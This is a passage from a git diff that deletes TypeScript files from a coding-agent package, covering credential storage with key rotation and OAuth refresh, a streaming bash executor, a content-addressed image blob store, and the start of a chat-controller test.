0; - } - return Math.abs(hash); -} - -/** - * Credential storage backed by a JSON file. - * Supports multiple credentials per provider with round-robin rotation and rate-limit fallback. - */ -export class AuthStorage { - private data: AuthStorageData = {}; - private runtimeOverrides: Map = new Map(); - private fallbackResolver?: (provider: string) => string | undefined; - private envAuthModeResolver?: (provider: string) => ProviderEnvAuthMode; - private loadError: Error | null = null; - private errors: Error[] = []; - private credentialChangeListeners: Set<() => void> = new Set(); - - /** - * Round-robin index per provider. Incremented on each call to getApiKey - * when no sessionId is provided. - */ - private providerRoundRobinIndex: Map = new Map(); - - /** - * Backoff tracking per provider per credential index. - * Map> - */ - private credentialBackoff: Map> = new Map(); - - /** - * Provider-level backoff tracking. - * Set when all credentials for a provider are backed off. - * Map - */ - private providerBackoff: Map = new Map(); - - private constructor(private storage: AuthStorageBackend) { - this.reload(); - } - - static create(authPath?: string): AuthStorage { - return new AuthStorage( - new FileAuthStorageBackend(authPath ?? join(getAgentDir(), "auth.json")), - ); - } - - static fromStorage(storage: AuthStorageBackend): AuthStorage { - return new AuthStorage(storage); - } - - static inMemory(data: AuthStorageData = {}): AuthStorage { - const storage = new InMemoryAuthStorageBackend(); - storage.withLock(() => ({ - result: undefined, - next: JSON.stringify(data, null, 2), - })); - return AuthStorage.fromStorage(storage); - } - - /** - * Set a runtime API key override (not persisted to disk). - * Used for CLI --api-key flag. - */ - setRuntimeApiKey(provider: string, apiKey: string): void { - this.runtimeOverrides.set(provider, apiKey); - } - - /** - * Remove a runtime API key override. - */ - removeRuntimeApiKey(provider: string): void { - this.runtimeOverrides.delete(provider); - } - - /** - * Set a fallback resolver for API keys not found in auth.json or env vars. - * Used for custom provider keys from models.json. - */ - setFallbackResolver( - resolver: (provider: string) => string | undefined, - ): void { - this.fallbackResolver = resolver; - } - - setEnvAuthModeResolver( - resolver: (provider: string) => ProviderEnvAuthMode, - ): void { - this.envAuthModeResolver = resolver; - } - - /** - * Register a callback to be notified when credentials change (e.g., after OAuth token refresh). - * Returns a function to unregister the listener. - */ - onCredentialChange(listener: () => void): () => void { - this.credentialChangeListeners.add(listener); - return () => this.credentialChangeListeners.delete(listener); - } - - private notifyCredentialChange(): void { - for (const listener of this.credentialChangeListeners) { - try { - listener(); - } catch { - // Don't let listener errors break the refresh flow - } - } - } - - private recordError(error: unknown): void { - const normalizedError = - error instanceof Error ? error : new Error(String(error)); - this.errors.push(normalizedError); - } - - private parseStorageData(content: string | undefined): AuthStorageData { - if (!content) { - return {}; - } - return JSON.parse(content) as AuthStorageData; - } - - /** - * Normalize a storage entry to an array of credentials. - * Handles both single credential (backward compat) and array formats. - */ - getCredentialsForProvider(provider: string): AuthCredential[] { - const entry = this.data[provider]; - if (!entry) return []; - if (Array.isArray(entry)) return entry; - return [entry]; - } - - /** - * Reload credentials from storage. - */ - reload(): void { - let content: string | undefined; - try { - this.storage.withLock((current) => { - content = current; - return { result: undefined }; - }); - this.data = this.parseStorageData(content); - this.loadError = null; - } catch (error) { - this.loadError = error as Error; - this.recordError(error); - } - } - - private persistProviderChange( - provider: string, - credential: AuthCredential | AuthCredential[] | undefined, - ): void { - if (this.loadError) { - return; - } - - try { - this.storage.withLock((current) => { - const currentData = this.parseStorageData(current); - const merged: AuthStorageData = { ...currentData }; - if (credential) { - merged[provider] = credential; - } else { - delete merged[provider]; - } - return { result: undefined, next: JSON.stringify(merged, null, 2) }; - }); - } catch (error) { - this.recordError(error); - } - } - - /** - * Get the first credential for a provider (backward-compatible). - */ - get(provider: string): AuthCredential | undefined { - const creds = this.getCredentialsForProvider(provider); - return creds[0] ?? undefined; - } - - /** - * Set credential for a provider. For API key credentials, appends to - * existing credentials (accumulation on duplicate login). For OAuth, - * replaces (only one OAuth token per provider makes sense). - */ - set(provider: string, credential: AuthCredential): void { - if (credential.type === "api_key") { - // Block Google OAuth tokens being stored as API keys for AI Studio providers - validateNotGoogleOAuthToken(provider, credential.key); - - const existing = this.getCredentialsForProvider(provider); - // Deduplicate: don't add if same key already exists - const isDuplicate = existing.some( - (c) => c.type === "api_key" && c.key === credential.key, - ); - if (isDuplicate) return; - - const updated = [...existing, credential]; - this.data[provider] = updated.length === 1 ? updated[0] : updated; - this.persistProviderChange( - provider, - updated.length === 1 ? updated[0] : updated, - ); - } else { - // OAuth: replace any existing OAuth credential, keep API keys - const existing = this.getCredentialsForProvider(provider); - const apiKeys = existing.filter((c) => c.type === "api_key"); - if (apiKeys.length === 0) { - this.data[provider] = credential; - this.persistProviderChange(provider, credential); - } else { - const updated = [...apiKeys, credential]; - this.data[provider] = updated; - this.persistProviderChange(provider, updated); - } - } - } - - /** - * Remove all credentials for a provider. - */ - remove(provider: string): void { - delete this.data[provider]; - this.providerRoundRobinIndex.delete(provider); - this.credentialBackoff.delete(provider); - this.providerBackoff.delete(provider); - this.persistProviderChange(provider, undefined); - } - - /** - * List all providers with credentials. - */ - list(): string[] { - return Object.keys(this.data); - } - - /** - * Check if credentials exist for a provider in auth.json. - */ - has(provider: string): boolean { - return provider in this.data; - } - - /** - * Check if any form of auth is configured for a provider. - * Unlike getApiKey(), this doesn't refresh OAuth tokens. - */ - hasAuth(provider: string): boolean { - if (this.runtimeOverrides.has(provider)) return true; - if (this.data[provider]) return true; - if (this.getConfiguredEnvApiKey(provider)) return true; - if (this.fallbackResolver?.(provider)) return true; - return false; - } - - /** - * Returns true if the stored credential for a provider is of type "oauth". - * Used to detect stale OAuth credentials for providers where OAuth has been - * removed (e.g. Anthropic, #3952) so callers can surface a targeted - * migration message instead of a generic cooldown error. - */ - hasLegacyOAuthCredential(provider: string): boolean { - return this.getCredentialsForProvider(provider).some( - (c) => c.type === "oauth", - ); - } - - /** - * Remove only oauth-type credentials for a provider, preserving any api_key - * entries. Used to self-heal stale OAuth credentials for providers where - * OAuth support has been removed (e.g. Anthropic, #3952) without destroying - * a user's valid API keys. Returns true if any oauth entries were removed. - */ - removeLegacyOAuthCredential(provider: string): boolean { - const existing = this.getCredentialsForProvider(provider); - const remaining = existing.filter((c) => c.type !== "oauth"); - if (remaining.length === existing.length) return false; - - if (remaining.length === 0) { - delete this.data[provider]; - this.persistProviderChange(provider, undefined); - } else { - const next = remaining.length === 1 ? remaining[0] : remaining; - this.data[provider] = next; - this.persistProviderChange(provider, next); - } - this.providerRoundRobinIndex.delete(provider); - this.credentialBackoff.delete(provider); - this.providerBackoff.delete(provider); - return true; - } - - /** - * Get all credentials (for passing to getOAuthApiKey). - * Returns normalized format where each provider has a single credential - * (the first one) for backward compatibility with OAuth refresh. - * - * NOTE: For providers with multiple API keys, only the first credential is - * returned. This is intentional — callers use this for OAuth refresh only, - * which is always single-credential. Do not use for API key enumeration. - */ - getAll(): Record { - const result: Record = {}; - for (const [provider, entry] of Object.entries(this.data)) { - result[provider] = Array.isArray(entry) ? entry[0] : entry; - } - return result; - } - - drainErrors(): Error[] { - const drained = [...this.errors]; - this.errors = []; - return drained; - } - - /** - * Login to an OAuth provider. - */ - async login( - providerId: OAuthProviderId, - callbacks: OAuthLoginCallbacks, - ): Promise { - const provider = getOAuthProvider(providerId); - if (!provider) { - throw new Error(`Unknown OAuth provider: ${providerId}`); - } - - const credentials = await provider.login(callbacks); - this.set(providerId, { type: "oauth", ...credentials }); - } - - /** - * Logout from a provider. - */ - logout(provider: string): void { - this.remove(provider); - } - - /** - * Returns true when the provider has credentials configured but all of them - * are currently in a backoff window (e.g. rate-limited or quota exhausted). - * Returns false when there are no credentials or at least one is available. - */ - areAllCredentialsBackedOff(provider: string): boolean { - const credentials = this.getCredentialsForProvider(provider); - if (credentials.length === 0) return false; - for (let i = 0; i < credentials.length; i++) { - if (!this.isCredentialBackedOff(provider, i)) return false; - } - return true; - } - - /** - * Mark an entire provider as exhausted. - * Called when all credentials for a provider are backed off. - */ - markProviderExhausted( - provider: string, - errorType: UsageLimitErrorType, - ): void { - const backoffMs = getBackoffDuration(errorType); - this.providerBackoff.set(provider, Date.now() + backoffMs); - } - - /** - * Check if a provider is currently available (not backed off at provider level). - */ - isProviderAvailable(provider: string): boolean { - const expiresAt = this.providerBackoff.get(provider); - if (expiresAt === undefined) return true; - if (Date.now() >= expiresAt) { - this.providerBackoff.delete(provider); - return true; - } - return false; - } - - /** - * Get milliseconds remaining until provider backoff expires. - * Returns 0 if provider is available. - */ - getProviderBackoffRemaining(provider: string): number { - const expiresAt = this.providerBackoff.get(provider); - if (expiresAt === undefined) return 0; - const remaining = expiresAt - Date.now(); - if (remaining <= 0) { - this.providerBackoff.delete(provider); - return 0; - } - return remaining; - } - - /** - * Get the earliest timestamp at which any credential for this provider - * will become available again. Returns `undefined` when no credentials - * are backed off (i.e. all are immediately available). - * - * Callers can use this to sleep exactly long enough for the cooldown to - * clear instead of using a fixed retry delay that may be shorter than the - * backoff window. - */ - getEarliestBackoffExpiry(provider: string): number | undefined { - const providerMap = this.credentialBackoff.get(provider); - if (!providerMap || providerMap.size === 0) return undefined; - - const now = Date.now(); - let earliest: number | undefined; - - for (const [index, expiresAt] of providerMap) { - if (expiresAt <= now) { - // Already expired — clean up - providerMap.delete(index); - continue; - } - if (earliest === undefined || expiresAt < earliest) { - earliest = expiresAt; - } - } - - return earliest; - } - - /** - * Check if a credential index is currently backed off. - */ - private isCredentialBackedOff(provider: string, index: number): boolean { - const providerBackoff = this.credentialBackoff.get(provider); - if (!providerBackoff) return false; - const expiresAt = providerBackoff.get(index); - if (expiresAt === undefined) return false; - if (Date.now() >= expiresAt) { - providerBackoff.delete(index); - return false; - } - return true; - } - - /** - * Select the best credential index for a provider. - * - If sessionId is provided, uses session-sticky hashing as the starting point. - * - Otherwise, uses round-robin as the starting point. - * - Skips credentials that are currently backed off. - * - Returns -1 if all credentials are backed off. - */ - private selectCredentialIndex( - provider: string, - credentials: AuthCredential[], - sessionId?: string, - ): number { - if (credentials.length === 0) return -1; - if (credentials.length === 1) { - return this.isCredentialBackedOff(provider, 0) ? -1 : 0; - } - - let startIndex: number; - if (sessionId) { - startIndex = hashString(sessionId) % credentials.length; - } else { - const current = this.providerRoundRobinIndex.get(provider) ?? 0; - startIndex = current % credentials.length; - this.providerRoundRobinIndex.set(provider, current + 1); - } - - // Try starting from the preferred index, wrapping around - for (let offset = 0; offset < credentials.length; offset++) { - const index = (startIndex + offset) % credentials.length; - if (!this.isCredentialBackedOff(provider, index)) { - return index; - } - } - - // All credentials are backed off - return -1; - } - - /** - * Mark a credential as rate-limited. Finds the credential that was most - * recently used for this provider+session and backs it off. - * - * @returns true if another credential is available (caller should retry), - * false if all credentials for this provider are backed off. - */ - markUsageLimitReached( - provider: string, - sessionId?: string, - options?: { errorType?: UsageLimitErrorType }, - ): boolean { - const credentials = this.getCredentialsForProvider(provider); - if (credentials.length === 0) return false; - - const errorType = options?.errorType ?? "rate_limit"; - - // For unknown/transport errors (e.g. connection reset, "terminated"), - // don't back off the only credential — it would make getApiKey() return - // undefined and surface a misleading "Authentication failed" message. - if (errorType === "unknown" && credentials.length === 1) { - return false; - } - - const backoffMs = getBackoffDuration(errorType); - - // Determine which credential was just used (same logic as selectCredentialIndex - // but without incrementing round-robin) - let usedIndex: number; - if (credentials.length === 1) { - usedIndex = 0; - } else if (sessionId) { - usedIndex = hashString(sessionId) % credentials.length; - } else { - // Round-robin was already incremented in getApiKey, so the last-used - // index is (current - 1). Note: in a concurrent scenario where another - // getApiKey call fires between the original request and this backoff call, - // we may back off the wrong credential index. This is acceptable because: - // (a) pi runs single-threaded event loop, (b) backing off the wrong key - // is safe — it self-heals when the backoff expires. - const current = this.providerRoundRobinIndex.get(provider) ?? 0; - usedIndex = - (((current - 1) % credentials.length) + credentials.length) % - credentials.length; - } - - // Set backoff for this credential - let providerBackoff = this.credentialBackoff.get(provider); - if (!providerBackoff) { - providerBackoff = new Map(); - this.credentialBackoff.set(provider, providerBackoff); - } - providerBackoff.set(usedIndex, Date.now() + backoffMs); - - // Check if any credential is still available - for (let i = 0; i < credentials.length; i++) { - if (!this.isCredentialBackedOff(provider, i)) { - return true; - } - } - return false; - } - - /** - * Refresh OAuth token with backend locking to prevent race conditions. - * Multiple pi instances may try to refresh simultaneously when tokens expire. - */ - private async refreshOAuthTokenWithLock( - providerId: OAuthProviderId, - ): Promise<{ apiKey: string; newCredentials: OAuthCredentials } | null> { - const provider = getOAuthProvider(providerId); - if (!provider) { - return null; - } - - const result = await this.storage.withLockAsync(async (current) => { - const currentData = this.parseStorageData(current); - this.data = currentData; - this.loadError = null; - - // Find the OAuth credential for this provider - const creds = this.getCredentialsForProvider(providerId); - const cred = creds.find((c) => c.type === "oauth"); - if (!cred || cred.type !== "oauth") { - return { result: null }; - } - - if (Date.now() < cred.expires) { - return { - result: { apiKey: provider.getApiKey(cred), newCredentials: cred }, - }; - } - - const oauthCreds: Record = {}; - for (const [key, value] of Object.entries(currentData)) { - const first = Array.isArray(value) - ? value.find((c) => c.type === "oauth") - : value; - if (first?.type === "oauth") { - oauthCreds[key] = first; - } - } - - const refreshed = await getOAuthApiKey(providerId, oauthCreds); - if (!refreshed) { - return { result: null }; - } - - // Update the OAuth credential in-place within the array - const existingEntry = currentData[providerId]; - const newOAuthCred: OAuthCredential = { - type: "oauth", - ...refreshed.newCredentials, - }; - let updatedEntry: AuthCredential | AuthCredential[]; - - if (Array.isArray(existingEntry)) { - updatedEntry = existingEntry.map((c) => - c.type === "oauth" ? newOAuthCred : c, - ); - } else { - updatedEntry = newOAuthCred; - } - - const merged: AuthStorageData = { - ...currentData, - [providerId]: updatedEntry, - }; - this.data = merged; - this.loadError = null; - return { result: refreshed, next: JSON.stringify(merged, null, 2) }; - }); - - // Notify listeners after credential change (e.g., model registry refresh) - if (result) { - queueMicrotask(() => this.notifyCredentialChange()); - } - - return result; - } - - /** - * Resolve an API key from a single credential. - */ - private async resolveCredentialApiKey( - providerId: string, - cred: AuthCredential, - ): Promise { - if (cred.type === "api_key") { - return resolveConfigValueAsync(cred.key); - } - - if (cred.type === "oauth") { - const provider = getOAuthProvider(providerId); - if (!provider) return undefined; - - const needsRefresh = Date.now() >= cred.expires; - if (needsRefresh) { - try { - const result = await this.refreshOAuthTokenWithLock(providerId); - if (result) return result.apiKey; - } catch (error) { - this.recordError(error); - this.reload(); - const updatedCreds = this.getCredentialsForProvider(providerId); - const updatedOAuth = updatedCreds.find((c) => c.type === "oauth"); - if ( - updatedOAuth?.type === "oauth" && - Date.now() < updatedOAuth.expires - ) { - return provider.getApiKey(updatedOAuth); - } - return undefined; - } - } else { - return provider.getApiKey(cred); - } - } - - return undefined; - } - - /** - * Get API key for a provider. - * Priority: - * 1. Runtime override (CLI --api-key) - * 2. Credential(s) from auth.json (with round-robin / session-sticky selection) - * 3. Environment variable - * 4. Fallback resolver (models.json custom providers) - * - * @param providerId - The provider to get an API key for - * @param sessionId - Optional session ID for sticky credential selection - */ - async getApiKey( - providerId: string, - sessionId?: string, - options?: { baseUrl?: string }, - ): Promise { - // If the model has a local baseUrl, return a dummy key to avoid auth blocking - if (options?.baseUrl && !this.fallbackResolver?.(providerId)) { - try { - const hostname = new URL(options.baseUrl).hostname; - if ( - hostname === "localhost" || - hostname === "127.0.0.1" || - hostname === "0.0.0.0" || - hostname === "::1" - ) { - return "local-no-key-needed"; - } - } catch { - if (options.baseUrl.startsWith("unix:")) { - return "local-no-key-needed"; - } - } - } - - // Runtime override takes highest priority - const runtimeKey = this.runtimeOverrides.get(providerId); - if (runtimeKey) { - // Block Google OAuth tokens used as runtime API key overrides - if ( - GOOGLE_API_KEY_PROVIDERS.has(providerId) && - isGoogleOAuthToken(runtimeKey) - ) { - this.recordError( - new Error( - `Blocked Google OAuth access token (ya29.*) for provider "${providerId}". ` + - `Use an API key from https://aistudio.google.com/apikey, or authenticate with ` + - `the google-gemini-cli provider, which delegates OAuth handling to @google/gemini-cli-core.`, - ), - ); - return undefined; - } - return runtimeKey; - } - - const credentials = this.getCredentialsForProvider(providerId); - - if (credentials.length > 0) { - const index = this.selectCredentialIndex( - providerId, - credentials, - sessionId, - ); - if (index >= 0) { - const resolved = await this.resolveCredentialApiKey( - providerId, - credentials[index], - ); - if (resolved) return resolved; - // Credential unresolvable (e.g. type:"oauth" for a non-OAuth provider) — - // fall through to env / fallback instead of returning undefined (#2083) - } - // All credentials backed off or unresolvable - fall through to env/fallback - } - - // Fall back to environment variable when provider policy allows it. - const envKey = this.getConfiguredEnvApiKey(providerId); - if (envKey) { - // Block Google OAuth tokens from environment variables (e.g., GEMINI_API_KEY=ya29.*) - if ( - GOOGLE_API_KEY_PROVIDERS.has(providerId) && - isGoogleOAuthToken(envKey) - ) { - this.recordError( - new Error( - `GEMINI_API_KEY contains a Google OAuth access token (ya29.*), not an API key. ` + - `Authenticate with ` + - `the google-gemini-cli provider, which delegates OAuth handling to @google/gemini-cli-core.`, - ), - ); - return undefined; - } - return envKey; - } - - // Fall back to custom resolver (e.g., models.json custom providers) - return this.fallbackResolver?.(providerId) ?? undefined; - } - - private getConfiguredEnvApiKey(provider: string): string | undefined { - const mode = - this.envAuthModeResolver?.(provider) ?? - (provider === "google" || provider === "google-gemini-cli" - ? "off" - : "auto"); - if (mode === "off") return undefined; - return getEnvApiKey(provider); - } - - /** - * Get all registered OAuth providers - */ - getOAuthProviders() { - return getOAuthProviders(); - } -} diff --git a/packages/pi-coding-agent/src/core/bash-executor.ts b/packages/pi-coding-agent/src/core/bash-executor.ts deleted file mode 100644 index 3c680f9f2..000000000 --- a/packages/pi-coding-agent/src/core/bash-executor.ts +++ /dev/null @@ -1,351 +0,0 @@ -/** - * Bash command execution with streaming support and cancellation. - * - * This module provides a unified bash execution implementation used by: - * - AgentSession.executeBash() for interactive and RPC modes - * - Direct calls from modes that need bash execution - */ - -import { type ChildProcess, spawn } from "node:child_process"; -import { randomBytes } from "node:crypto"; -import { createWriteStream, unlinkSync, type WriteStream } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; - -/** Track temp files created by bash execution for cleanup on exit. */ -const bashTempFiles = new Set(); - -let cleanupRegistered = false; -function registerTempCleanup(): void { - if (cleanupRegistered) return; - cleanupRegistered = true; - process.on("exit", () => { - for (const file of bashTempFiles) { - try { - unlinkSync(file); - } catch { - // Best-effort cleanup - } - } - }); -} - -import { - processStreamChunk, - type StreamState, -} from "@singularity-forge/native"; -import { - getShellConfig, - getShellEnv, - killProcessTree, - sanitizeCommand, -} from "../utils/shell.js"; -import type { BashOperations } from "./tools/bash.js"; -import { DEFAULT_MAX_BYTES, truncateTail } from "./tools/truncate.js"; - -// ============================================================================ -// Types -// ============================================================================ - -export interface BashExecutorOptions { - /** Callback for streaming output chunks (already sanitized) */ - onChunk?: (chunk: string) => void; - /** AbortSignal for cancellation */ - signal?: AbortSignal; -} - -export interface BashResult { - /** Combined stdout + stderr output (sanitized, possibly truncated) */ - output: string; - /** Process exit code (undefined if killed/cancelled) */ - exitCode: number | undefined; - /** Whether the command was cancelled via signal */ - cancelled: boolean; - /** Whether the output was truncated */ - truncated: boolean; - /** Path to temp file containing full output (if output exceeded truncation threshold) */ - fullOutputPath?: string; -} - -// ============================================================================ -// Implementation -// ============================================================================ - -/** - * Execute a bash command with optional streaming and cancellation support. - * - * Features: - * - Streams sanitized output via onChunk callback - * - Writes large output to temp file for later retrieval - * - Supports cancellation via AbortSignal - * - Sanitizes output (strips ANSI, removes binary garbage, normalizes newlines) - * - Truncates output if it exceeds the default max bytes - * - * @param command - The bash command to execute - * @param options - Optional streaming callback and abort signal - * @returns Promise resolving to execution result - */ -export function executeBash( - command: string, - options?: BashExecutorOptions & { loginShell?: boolean }, -): Promise { - return new Promise((resolve, reject) => { - let shell: string; - let args: string[]; - if (options?.loginShell) { - // Use the user's login shell with -l for PATH/env from shell profiles - shell = process.env.SHELL || "/bin/bash"; - args = ["-l", "-c"]; - } else { - ({ shell, args } = getShellConfig()); - } - // On Windows, detached: true sets CREATE_NEW_PROCESS_GROUP which can - // cause EINVAL in VSCode/ConPTY terminal contexts. The bg-shell - // extension already guards this (process-manager.ts); align here. - // Process-tree cleanup uses taskkill /F /T on Windows regardless. - const child: ChildProcess = spawn( - shell, - [...args, sanitizeCommand(command)], - { - detached: process.platform !== "win32", - env: getShellEnv(), - stdio: ["ignore", "pipe", "pipe"], - }, - ); - - // Track sanitized output for truncation - const outputChunks: string[] = []; - let outputBytes = 0; - const maxOutputBytes = DEFAULT_MAX_BYTES * 2; - - // Temp file for large output - let tempFilePath: string | undefined; - let tempFileStream: WriteStream | undefined; - let totalBytes = 0; - - // Handle abort signal - const abortHandler = () => { - if (child.pid) { - killProcessTree(child.pid); - } - }; - - if (options?.signal) { - if (options.signal.aborted) { - // Already aborted, don't even start - child.kill(); - resolve({ - output: "", - exitCode: undefined, - cancelled: true, - truncated: false, - }); - return; - } - options.signal.addEventListener("abort", abortHandler, { once: true }); - } - - let streamState: StreamState | undefined; - - const handleData = (data: Buffer) => { - totalBytes += data.length; - - // Single-pass native processing: UTF-8 decode + ANSI strip + binary sanitize + CR removal - const result = processStreamChunk(data, streamState); - streamState = result.state; - const text = result.text; - - // Start writing to temp file if exceeds threshold - if (totalBytes > DEFAULT_MAX_BYTES && !tempFilePath) { - registerTempCleanup(); - const id = randomBytes(8).toString("hex"); - tempFilePath = join(tmpdir(), `pi-bash-${id}.log`); - bashTempFiles.add(tempFilePath); - tempFileStream = createWriteStream(tempFilePath); - // Write already-buffered chunks to temp file - for (const chunk of outputChunks) { - tempFileStream.write(chunk); - } - } - - if (tempFileStream) { - tempFileStream.write(text); - } - - // Keep rolling buffer of sanitized text - outputChunks.push(text); - outputBytes += text.length; - while (outputBytes > maxOutputBytes && outputChunks.length > 1) { - const removed = outputChunks.shift()!; - outputBytes -= removed.length; - } - - // Stream to callback if provided - if (options?.onChunk) { - options.onChunk(text); - } - }; - - child.stdout?.on("data", handleData); - child.stderr?.on("data", handleData); - - child.on("close", (code) => { - // Clean up abort listener - if (options?.signal) { - options.signal.removeEventListener("abort", abortHandler); - } - - if (tempFileStream) { - tempFileStream.end(); - } - - // Combine buffered chunks for truncation (already sanitized) - const fullOutput = outputChunks.join(""); - const truncationResult = truncateTail(fullOutput); - - // code === null means killed (cancelled) - const cancelled = code === null; - - resolve({ - output: truncationResult.truncated - ? truncationResult.content - : fullOutput, - exitCode: cancelled ? undefined : code, - cancelled, - truncated: truncationResult.truncated, - fullOutputPath: tempFilePath, - }); - }); - - child.on("error", (err) => { - // Clean up abort listener - if (options?.signal) { - options.signal.removeEventListener("abort", abortHandler); - } - - if (tempFileStream) { - tempFileStream.end(); - } - - reject(err); - }); - }); -} - -/** - * Execute a bash command using custom BashOperations. - * Used for remote execution (SSH, containers, etc.). - */ -export async function executeBashWithOperations( - command: string, - cwd: string, - operations: BashOperations, - options?: BashExecutorOptions, -): Promise { - const outputChunks: string[] = []; - let outputBytes = 0; - const maxOutputBytes = DEFAULT_MAX_BYTES * 2; - - let tempFilePath: string | undefined; - let tempFileStream: WriteStream | undefined; - let totalBytes = 0; - - let streamState2: StreamState | undefined; - - const ensureTempFile = () => { - if (tempFilePath) { - return; - } - registerTempCleanup(); - const id = randomBytes(8).toString("hex"); - tempFilePath = join(tmpdir(), `pi-bash-${id}.log`); - bashTempFiles.add(tempFilePath); - tempFileStream = createWriteStream(tempFilePath); - for (const chunk of outputChunks) { - tempFileStream.write(chunk); - } - }; - - const onData = (data: Buffer) => { - totalBytes += data.length; - - // Single-pass native processing: UTF-8 decode + ANSI strip + binary sanitize + CR removal - const result = processStreamChunk(data, streamState2); - streamState2 = result.state; - const text = result.text; - - // Start writing to temp file if exceeds threshold - if (totalBytes > DEFAULT_MAX_BYTES) { - ensureTempFile(); - } - - if (tempFileStream) { - tempFileStream.write(text); - } - - // Keep rolling buffer - outputChunks.push(text); - outputBytes += text.length; - while (outputBytes > maxOutputBytes && outputChunks.length > 1) { - const removed = outputChunks.shift()!; - outputBytes -= removed.length; - } - - // Stream to callback - if (options?.onChunk) { - options.onChunk(text); - } - }; - - try { - const result = await operations.exec(command, cwd, { - onData, - signal: options?.signal, - }); - - if (tempFileStream) { - tempFileStream.end(); - } - - const fullOutput = outputChunks.join(""); - const truncationResult = truncateTail(fullOutput); - if (truncationResult.truncated) { - ensureTempFile(); - } - const cancelled = options?.signal?.aborted ?? false; - - return { - output: truncationResult.truncated - ? truncationResult.content - : fullOutput, - exitCode: cancelled ? undefined : (result.exitCode ?? undefined), - cancelled, - truncated: truncationResult.truncated, - fullOutputPath: tempFilePath, - }; - } catch (err) { - if (tempFileStream) { - tempFileStream.end(); - } - - // Check if it was an abort - if (options?.signal?.aborted) { - const fullOutput = outputChunks.join(""); - const truncationResult = truncateTail(fullOutput); - if (truncationResult.truncated) { - ensureTempFile(); - } - return { - output: truncationResult.truncated - ? truncationResult.content - : fullOutput, - exitCode: undefined, - cancelled: true, - truncated: truncationResult.truncated, - fullOutputPath: tempFilePath, - }; - } - - throw err; - } -} diff --git a/packages/pi-coding-agent/src/core/blob-store.ts b/packages/pi-coding-agent/src/core/blob-store.ts deleted file mode 100644 index 7295711ab..000000000 --- a/packages/pi-coding-agent/src/core/blob-store.ts +++ /dev/null @@ -1,165 +0,0 @@ -/** - * Content-addressed blob store for externalizing large binary data (images) from session JSONL files. - * - * Files are stored at `/` with no extension. The SHA-256 hash is computed - * over the raw binary data (not base64). Content-addressing makes writes idempotent and - * provides automatic deduplication across sessions. - */ -import { createHash } from "node:crypto"; -import { - accessSync, - mkdirSync, - readdirSync, - readFileSync, - statSync, - unlinkSync, - writeFileSync, -} from "node:fs"; -import { join } from "node:path"; - -const BLOB_PREFIX = "blob:sha256:"; -const SHA256_HEX_RE = /^[a-f0-9]{64}$/; - -export interface BlobPutResult { - hash: string; - path: string; - get ref(): string; -} - -export class BlobStore { - readonly dir: string; - constructor(dir: string) { - this.dir = dir; - mkdirSync(dir, { recursive: true }); - } - - /** Write binary data to the blob store. Idempotent — same content → same hash. */ - put(data: Buffer): BlobPutResult { - const hash = createHash("sha256").update(data).digest("hex"); - const blobPath = join(this.dir, hash); - const result: BlobPutResult = { - hash, - path: blobPath, - get ref() { - return `${BLOB_PREFIX}${hash}`; - }, - }; - - try { - writeFileSync(blobPath, data, { flag: "wx" }); // Atomic: fails if file exists - } catch (err: any) { - if (err.code !== "EEXIST") throw err; - // File already exists — expected for content-addressed storage - } - return result; - } - - /** Read blob by hash, returns Buffer or null if not found. */ - get(hash: string): Buffer | null { - if (!SHA256_HEX_RE.test(hash)) return null; - const blobPath = join(this.dir, hash); - try { - return readFileSync(blobPath); - } catch { - return null; - } - } - - /** Check if a blob exists. */ - has(hash: string): boolean { - if (!SHA256_HEX_RE.test(hash)) return false; - try { - accessSync(join(this.dir, hash)); - return true; - } catch { - return false; - } - } - - /** - * Remove blobs not referenced by any session file. - * @param referencedHashes Set of SHA-256 hashes still referenced in session files. - * @returns Number of orphaned blobs removed. - */ - gc(referencedHashes: Set): number { - let removed = 0; - try { - const entries = readdirSync(this.dir); - for (const entry of entries) { - if (!SHA256_HEX_RE.test(entry)) continue; - if (!referencedHashes.has(entry)) { - try { - unlinkSync(join(this.dir, entry)); - removed++; - } catch { - // Best-effort removal - } - } - } - } catch { - // Blob dir may not exist or be unreadable - } - return removed; - } - - /** Get total size of all blobs in bytes, or 0 if the directory is empty/unreadable. */ - totalSize(): number { - try { - const entries = readdirSync(this.dir); - let total = 0; - for (const entry of entries) { - if (!SHA256_HEX_RE.test(entry)) continue; - try { - total += statSync(join(this.dir, entry)).size; - } catch { - // Skip unreadable files - } - } - return total; - } catch { - return 0; - } - } -} - -/** Check if a data string is a blob reference. */ -export function isBlobRef(data: string): boolean { - return data.startsWith(BLOB_PREFIX); -} - -/** Extract the SHA-256 hash from a blob reference string. Returns null if format is invalid. */ -export function parseBlobRef(data: string): string | null { - if (!data.startsWith(BLOB_PREFIX)) return null; - const hash = data.slice(BLOB_PREFIX.length); - if (!SHA256_HEX_RE.test(hash)) return null; - return hash; -} - -/** - * Externalize an image's base64 data to the blob store, returning a blob reference. - * If the data is already a blob reference, returns it unchanged. - */ -export function externalizeImageData( - blobStore: BlobStore, - base64Data: string, -): string { - if (isBlobRef(base64Data)) return base64Data; - const buffer = Buffer.from(base64Data, "base64"); - const { ref } = blobStore.put(buffer); - return ref; -} - -/** - * Resolve a blob reference back to base64 data. - * If the data is not a blob reference, returns it unchanged. - * If the blob is missing, returns the ref unchanged. - */ -export function resolveImageData(blobStore: BlobStore, data: string): string { - const hash = parseBlobRef(data); - if (!hash) return data; - - const buffer = blobStore.get(hash); - if (!buffer) return data; // Missing blob — return ref as-is - - return buffer.toString("base64"); -} diff --git a/packages/pi-coding-agent/src/core/chat-controller-ordering.test.ts b/packages/pi-coding-agent/src/core/chat-controller-ordering.test.ts deleted file mode 100644 index 1c20fab7c..000000000 --- a/packages/pi-coding-agent/src/core/chat-controller-ordering.test.ts +++ /dev/null @@ -1,1588 +0,0 @@ -import assert from "node:assert/strict"; -import { test } from "vitest"; - -import { handleAgentEvent } from "../modes/interactive/controllers/chat-controller.js"; - -function makeUsage() { - return { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }; -} - -function makeAssistant(content: any[]) { - return { - role: "assistant", - content, - api: "anthropic-messages", - provider: "claude-code", - model: "claude-sonnet-4", - usage: makeUsage(), - stopReason: "stop", - timestamp: Date.now(), - }; -} - -function createHost() { - const chatContainer = { - children: [] as any[], - addChild(component: any) { - this.children.push(component); - }, - removeChild(component: any) { - const idx = this.children.indexOf(component); - if (idx !== -1) this.children.splice(idx, 1); - }, - clear() { - this.children = []; - }, - }; - - const pinnedMessageContainer = { - children: [] as any[], - addChild(component: 